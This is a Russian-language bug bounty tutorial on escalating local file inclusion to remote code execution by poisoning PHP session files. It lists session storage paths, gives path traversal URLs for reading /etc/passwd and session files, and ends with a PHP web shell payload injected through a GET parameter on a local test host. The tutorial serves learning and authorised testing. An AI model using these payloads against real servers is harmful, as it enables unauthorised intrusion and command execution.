LFI to RCE. Session poisoning

LFI to RCE. Session poisoning

https://t.me/bug_bounty_notes

Всем привет. В этой статье я хочу рассказать о том, как использование содержимого сессии при наличии LFI может привести к RCE уязвимости.

Главная цель, которой я придерживался - сделать этот гайд максимально полным

В нем указаны пути к хранилищу сессий для Linux и Windows, а также приводятся пути для OpenServer и Denwer

В общем, усаживайтесь поудобнее - будет интересно

Начнем с терминов


Что такое LFI?

LFI, или Local File Inclusion - уязвимость веб приложения, которая позволяет злоумышленнику читать локальные файлы, находящиеся на сервере

Например, есть URL:

http://test.local/?page=news.php

В GET параметре page передается название файла, который необходимо показать пользователю

Веб сервер принимает запрос от клиента, далее читает файл news.php, и выводит его содержимое в виде ответа

Злоумышленник может изменить URL с

http://test.local/?page=news.php

на

http://test.local/?page=../../../../../../../../../etc/passwd

и... заставить сервер выдать содержимое файла passwd

Это и есть LFI


Что такое RCE?

RCE, или Remote Code Execution - уязвимость, которая позволяет злоумышленнику удаленно выполнять код на атакуемом сервере

Думаю тут объяснений не требуется


Я нашел LFI, зачем мне добиваться RCE? Не проще ли зарепортить об LFI, и получить вознаграждение в рамках Bug Bounty?

Между RCE и LFI есть огромная разница, которая заключается в сумме вознаграждения

Давайте взглянем на размер вознаграждений на примере Bug Bounty от Vk: https://app.bugbounty.bi.zone/companies/vkontakte/main

За подтвержденную LFI будет выплачено 600 000 ₽, а за RCE от 1 200 000 ₽ 😎


PHP сессии

Если веб приложение устанавливает куку PHPSESSID, следует попробовать прочитать данные текущей сессии

Для этого копируем значение куки, и через LFI читаем файл /var/lib/php/sessions/sess_ЗНАЧЕНИЕ_КУКИ для Linux или C:\Windows\Temp\sess_ЗНАЧЕНИЕ_КУКИ для Windows

Путь для OpenServer: c:/ospanel/userdata/temp/sess_ЗНАЧЕНИЕ_КУКИ

Путь для Denwer: z:/tmp/sess_ЗНАЧЕНИЕ_КУКИ

На вышеуказанном скриншоте ЗНАЧЕНИЕ_КУКИ будет: g6h98t3krr125ro4iij3e1pajggcfgf8

ВАЖНО! веб разработчик мог переименовать название сессии PHPSESSID и изменить длину её значения путём редактирования параметров session.name и session.sid_length в php.ini

Например, на приведенном ниже скриншоте название куки - CUSTOM_PHPSESSID_NAME, а её значение состоит из 256 символов. Несмотря на все изменения - данные сессии все также можно прочитать при помощи обращения к файлу sess_ЗНАЧЕНИЕ_КУКИ


Эксплуатируем

Предположим, существует LFI уязвимость в параметре page, при обращении к странице

http://bug-bounty-notes.local/?page=news.php&slug=security

Читаем файл сессии, обратившись по URL

http://bug-bounty-notes.local/?page=../../../../../../../../../ospanel/userdata/temp/sess_jkt010ermv4gpkv823hns53pkds2960u&slug=security

Видим, что в файле сессии хранится следующая строка:

last_request|i:1675242384;page|s:4:"news";last_news_slug|s:8:"security";

Переменные сессии разделяются знаком ; и имеют вид:

НАЗВАНИЕ_ПЕРЕМЕННОЙ|ТИП_ПЕРЕМЕННОЙ:ЗНАЧЕНИЕ_ПЕРЕМЕННОЙ

В случае, если переменная содержит в себе строковое значение, после типа переменной будет указана длина её содержимого:

НАЗВАНИЕ_ПЕРЕМЕННОЙ|ТИП_ПЕРЕМЕННОЙ:ДЛИНА_СОДЕРЖИМОГО:ЗНАЧЕНИЕ_ПЕРЕМЕННОЙ

В нашем случае, переменные и их значения выглядят так:

last_request: 1675242384
page: news
last_news_slug: security

Следующим этапом будет поиск переменной, которую можно изменить при помощи данных, полученных от пользователя

last_request - timestamp последнего запроса от пользователя

page - название запрошенной страницы

last_news_slug - последняя прочитанная статья

На timestamp повлиять мы не можем, а значит вариант отравления переменной last_request сразу отбрасываем

Остаются page и last_news_slug

Пробуем изменить значение переменной page обратившись в новой вкладке по URL

http://bug-bounty-notes.local/?page=test.php&slug=security

Возвращаемся вновь к первой вкладке и обновляем страницу:

Переменная page не изменилась. Возможно, она не зависит от пользовательского ввода

Перейдём к last_news_slug

Во второй вкладке обращаемся по URL, изменив значение параметра slug:

http://bug-bounty-notes.local/?page=news.php&slug=some-data

Переходим на первую вкладку, обновляем страницу:

Отлично! Переменная last_news_slug хранит в себе данные, полученные от пользователя

Далее вставляем пэйлоад <?php system($_GET['cmd']); ?> в GET параметр slug:

И, передав GET параметр cmd получаем возможность удаленно выполнять команды на сервере 🥳


Report Page